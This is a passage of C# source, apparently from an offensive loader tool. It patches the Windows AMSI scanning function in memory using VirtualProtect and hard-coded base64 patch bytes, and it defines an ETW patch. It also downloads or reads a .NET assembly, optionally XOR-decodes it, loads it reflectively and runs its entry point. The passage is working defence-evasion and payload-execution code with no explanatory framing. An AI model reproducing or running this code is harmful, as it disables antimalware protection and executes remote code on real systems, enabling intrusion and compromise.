311 | IntPtr pGetProcAddress = GetLibraryAddress("kernel32.dll", "GetProcAddress");
312 | IntPtr pLoadLibrary = GetLibraryAddress("kernel32.dll", "LoadLibraryA");
313 |
314 | GetProcAddress fGetProcAddress = (GetProcAddress)Marshal.GetDelegateForFunctionPointer(pGetProcAddress, typeof(GetProcAddress));
315 | LoadLibrary fLoadLibrary = (LoadLibrary)Marshal.GetDelegateForFunctionPointer(pLoadLibrary, typeof(LoadLibrary));
316 |
317 | return fGetProcAddress(fLoadLibrary("amsi.dll"), "AmsiScanBuffer");
318 | }
319 |
320 | private static bool is64Bit()
321 | {
322 | if (IntPtr.Size == 4)
323 | return false;
324 |
325 | return true;
326 | }
327 |
328 |
329 | private static byte[] getETWPayload()
330 | {
331 | if (!is64Bit())
332 | return Convert.FromBase64String("whQA");
333 | return Convert.FromBase64String("ww==");
334 | }
335 |
336 | private static byte[] getAMSIPayload()
337 | {
338 | if (!is64Bit())
339 | return Convert.FromBase64String("uFcAB4DCGAA=");
340 | return Convert.FromBase64String("uFcAB4DD");
341 | }
342 |
343 | private static Type junkFunction(MethodInfo methodInfo)
344 | {
345 | return methodInfo.ReflectedType;
346 | }
347 | private static object invokeCSharpMethod(MethodInfo methodInfo)
348 | {
349 | if (junkFunction(methodInfo) == methodInfo.ReflectedType)
350 | methodInfo.Invoke(null, globalArgs);
351 | Console.ReadLine();
352 | return globalArgs[0];
353 | }
354 |
355 | private static byte[] downloadURL(string url)
356 | {
357 | HttpWebRequest myRequest = (HttpWebRequest)WebRequest.Create(url);
358 | myRequest.Proxy.Credentials = CredentialCache.DefaultCredentials;
359 | myRequest.Method = "GET";
360 | WebResponse myResponse = myRequest.GetResponse();
361 | MemoryStream ms = new MemoryStream();
362 | myResponse.GetResponseStream().CopyTo(ms);
363 | return ms.ToArray();
364 | }
365 |
366 | public static int setProtocolTLS(int secProt)
367 | {
368 | ServicePointManager.SecurityProtocol = (SecurityProtocolType)secProt;
369 | return secProt;
370 | }
371 | private static MethodInfo getEntryPoint(Assembly asm)
372 | {
373 |
374 | return asm.EntryPoint;
375 | }
376 |
377 | private static void TriggerPayload(string payloadPathOrURL, string[] inputArgs, bool xorEncoded, string xorKey, int setProtType = 0)
378 | {
379 | setProtocolTLS(setProtType);
380 |
381 | if (!string.IsNullOrEmpty(string.Join(" ", inputArgs)))
382 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs));
383 | else
384 | {
385 | Console.WriteLine("[+] URL/PATH : " + payloadPathOrURL + " Arguments : " + string.Join(" ", inputArgs));
386 | }
387 | globalArgs = new object[] { inputArgs };
388 |
389 | if (xorEncoded && payloadPathOrURL.ToLower().StartsWith("http"))
390 | {
391 |
392 | encDeploy(downloadURL(payloadPathOrURL), xorKey);
393 | }
394 | else if (!xorEncoded && payloadPathOrURL.ToLower().StartsWith("http"))
395 | {
396 |
397 | unEncDeploy(downloadURL(payloadPathOrURL));
398 | }
399 | else if (!xorEncoded && !payloadPathOrURL.ToLower().StartsWith("http"))
400 | unEncDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open));
401 | else
402 | encDeploy(readLocalFilePath(payloadPathOrURL, FileMode.Open), xorKey);
403 |
404 | }
405 |
406 | private static void encDeploy(byte[] data, string xorKey)
407 | {
408 |
409 | invokeCSharpMethod(getEntryPoint(loadASM(xorEncDec(data, xorKey))));
410 |
411 | }
412 |
413 | private static void unEncDeploy(byte[] data)
414 | {
415 |
416 | invokeCSharpMethod(getEntryPoint(loadASM(data)));
417 |
418 | }
419 |
420 | private static IntPtr unProtect(IntPtr amsiLibPtr)
421 | {
422 |
423 | IntPtr pVirtualProtect = GetLibraryAddress("kernel32.dll", "VirtualProtect");
424 |
425 | VirtualProtect fVirtualProtect = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(pVirtualProtect, typeof(VirtualProtect));
426 |
427 | uint newMemSpaceProtection = 0;
428 | if (fVirtualProtect(amsiLibPtr, (UIntPtr)getAMSIPayload().Length, 0x40, out newMemSpaceProtection))
429 | {
430 | return amsiLibPtr;
431 | }
432 | else
433 | {
434 | return (IntPtr)0;
435 | }
436 |
437 | }
438 | private static void PathAMSI()
439 | {
440 |
441 | IntPtr amsiLibPtr = unProtect(getAMSILocation());
442 | if (amsiLibPtr != (IntPtr)0)
443 | {
444 | Marshal.Copy(getAMSIPayload(), 0, amsiLibPtr, getAMSIPayload().Length);
445 | Console.WriteLine("[+] Successfully patched AMSI!");
446 | }
447 | else
448 | {
449 | Console.WriteLine("[!] Patching AMSI FAILED");
450 | }
451 |
452 | }
453 |
454 | }
455 |
--------------------------------------------------------------------------------